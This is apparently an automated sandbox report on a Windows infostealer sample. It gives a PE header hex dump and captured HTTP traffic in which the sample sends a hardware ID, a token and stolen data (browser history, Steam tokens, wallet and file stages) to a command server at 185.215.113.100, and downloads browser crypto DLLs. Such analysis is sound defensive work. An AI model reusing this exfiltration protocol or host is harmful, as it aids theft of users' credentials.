00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.100Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAFCAFCBKFHJJJKKFHIHost: 185.215.113.100Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 41 36 38 37 42 46 46 43 45 34 31 38 36 36 34 38 36 36 33 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="hwid"9AA687BFFCE41866486636------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="build"leva------BAAFCAFCBKFHJJJKKFHI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFHIIEHIEGDHJJJKFIHost: 185.215.113.100Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="message"browsers------IJKFHIIEHIEGDHJJJKFI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKFBAECBAEGDGDHIEHIHost: 185.215.113.100Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 2d 2d 0d 0a Data Ascii: ------CBKFBAECBAEGDGDHIEHIContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------CBKFBAECBAEGDGDHIEHIContent-Disposition: form-data; name="message"plugins------CBKFBAECBAEGDGDHIEHI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJECFHCBKKEBAKFIJDHIHost: 185.215.113.100Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 2d 2d 0d 0a Data Ascii: ------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="message"fplugins------KJECFHCBKKEBAKFIJDHI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKJDAFHJDGDHJKKEGIHost: 185.215.113.100Content-Length: 7287Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAECAKKFBGCBGDGIEHCHost: 185.215.113.100Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIJEHJDHJKECBFHDHDHHost: 185.215.113.100Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKKFBAEGDHJJJJKFBKFHost: 185.215.113.100Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 2d 2d 0d 0a Data Ascii: ------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="file"------FBKKFBAEGDHJJJJKFBKF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDGDBFCBKFHJKFHCBKHost: 185.215.113.100Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 2d 2d 0d 0a Data Ascii: ------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="file"------GHJDGDBFCBKFHJKFHCBK--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEGCBFHJDHJJKFIDBGIJHost: 185.215.113.100Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEGCBFHJDHJJKFIDBGIJHost: 185.215.113.100Content-Length: 1067Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 42 46 48 4a 44 48 4a 4a 4b 46 49 44 42 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 46 48 4a 44 48 4a 4a 4b 46 49 44 42 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 61 47 6c 7a 64 47 39 79 65 56 78 4e 62 33 70 70 62 47 78 68 49 45 5a 70 63 6d 56 6d 62 33 68 66 5a 6e 46 7a 4f 54 4a 76 4e 48 41 75 5a 47 56 6d 59 58 56 73 64 43 31 79 5a 57 78 6c 59 58 4e 6c 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 46 48 4a 44 48 4a 4a 4b 46 49 44 42 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 61 48 52 30 63 48 4d 36 4c 79 39 7a 64 58 42 77 62 33 4a 30 4c 6d 31 76 65 6d 6c 73 62 47 45 75 62 33 4a 6e 4c 33 42 79 62 32 52 31 59 33 52 7a 4c 32 5a 70 63 6d 56 6d 62 33 67 4b 61 48 52 30 63 48 4d 36 4c 79 39 7a 64 58 42 77 62 33 4a 30 4c 6d 31 76 65 6d 6c 73 62 47 45 75 62 33 4a 6e 4c 32 74 69 4c 32 4e 31 63 33 52 76 62 57 6c 36 5a 53 31 6d 61 58 4a 6c 5a 6d 39 34 4c 57 4e 76 62 6e 52 79 62 32 78 7a 4c 57 4a 31 64 48 52 76 62 6e 4d 74 59 57 35 6b 4c 58 52 76 62 32 78 69 59 58 4a 7a 50 33 56 30 62 56 39 7a 62 33 56 79 59 32 55 39 5a 6d 6c 79 5a 57 5a 76 65 43 31 69 63 6d 39 33 63 32 56 79 4a 6e 56 30 62 56 39 74 5a 57 52 70 64 57 30 39 5a 47 56 6d 59 58 56 73 64 43 31 69 62 32 39 72 62 57 46 79 61 33 4d 6d 64 58 52 74 58 32 4e 68 62 58 42 68 61 57 64 75 50 57 4e 31 63 33 52 76 62 57 6c 36 5a 51 70 6f 64 48 52 77 63 7a 6f 76 4c 33 64 33 64 79 35 74 62 33 70 70 62 47 78 68 4c 6d 39 79 5a 79 39 6a 62 32 35 30 63 6d 6c 69 64 58 52 6c 4c 77 70 6f 64 48 52 77 63 7a 6f 76 4c 33 64 33 64 79 35 74 62 33 70 70 62 47 78 68 4c 6d 39 79 5a 79 39 68 59 6d 39 31 64 43 38 4b 61 48 52 30 63 48 4d 36 4c 79 39 33 64 33 63 75 62 57 39 36 61 57 78 73 59 53 35 76 63 6d 63 76 5a 6d 6c 79 5a 57 5a 76 65 43 38 2f 64 58 52 74 58 32 31 6c 5a 47 6c 31 62 54 31 6d 61 58 4a 6c 5a 6d 39 34 4c 57 52 6c 63 32 74 30 62 33 41 6d 64 58 52 74 58 33 4e 76 64 58 4a 6a 5a 54 31 69 62 32 39 72 62 57 46 79 61 33 4d 74 64 47 39 76 62 47 4a 68 63 69 5a 31 64 47 31 66 59 32 46 74 63 47 46 70 5a 32 34 39 62 6d 56 33 4c 58 56 7a 5a 58 4a 7a 4a 6e 56 30 62 56 39 6a 62 32 35 30 5a 57 35 30 50 53 31 6e 62 47 39 69 59 57 77 4b 61 48 52 30 63 48 4d 36 4c 79 39 33 64 33 63
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKJDAFHJDGDHJKKEGIHost: 185.215.113.100Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 2d 2d 0d 0a Data Ascii: ------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="message"wallets------JEBKJDAFHJDGDHJKKEGI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAKFCGCGIEGDGCAAKKJHost: 185.215.113.100Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 4b 46 43 47 43 47 49 45 47 44 47 43 41 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 4b 46 43 47 43 47 49 45 47 44 47 43 41 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 4b 46 43 47 43 47 49 45 47 44 47 43 41 41 4b 4b 4a 2d 2d 0d 0a Data Ascii: ------FCAKFCGCGIEGDGCAAKKJContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------FCAKFCGCGIEGDGCAAKKJContent-Disposition: form-data; name="message"files------FCAKFCGCGIEGDGCAAKKJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGDBFIJKEBGIDGDHCGCHost: 185.215.113.100Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 2d 2d 0d 0a Data Ascii: ------KEGDBFIJKEBGIDGDHCGCContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------KEGDBFIJKEBGIDGDHCGCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KEGDBFIJKEBGIDGDHCGCContent-Disposition: form-data; name="file"------KEGDBFIJKEBGIDGDHCGC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKFBAECBAEGDGDHIEHIHost: 185.215.113.100Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 2d 2d 0d 0a Data Ascii: ------CBKFBAECBAEGDGDHIEHIContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------CBKFBAECBAEGDGDHIEHIContent-Disposition: form-data; name="message"ybncbhylepme------CBKFBAECBAEGDGDHIEHI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJECFHCBKKEBAKFIJDHIHost: 185.215.113.100Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 2d 2d 0d 0a Data Ascii: 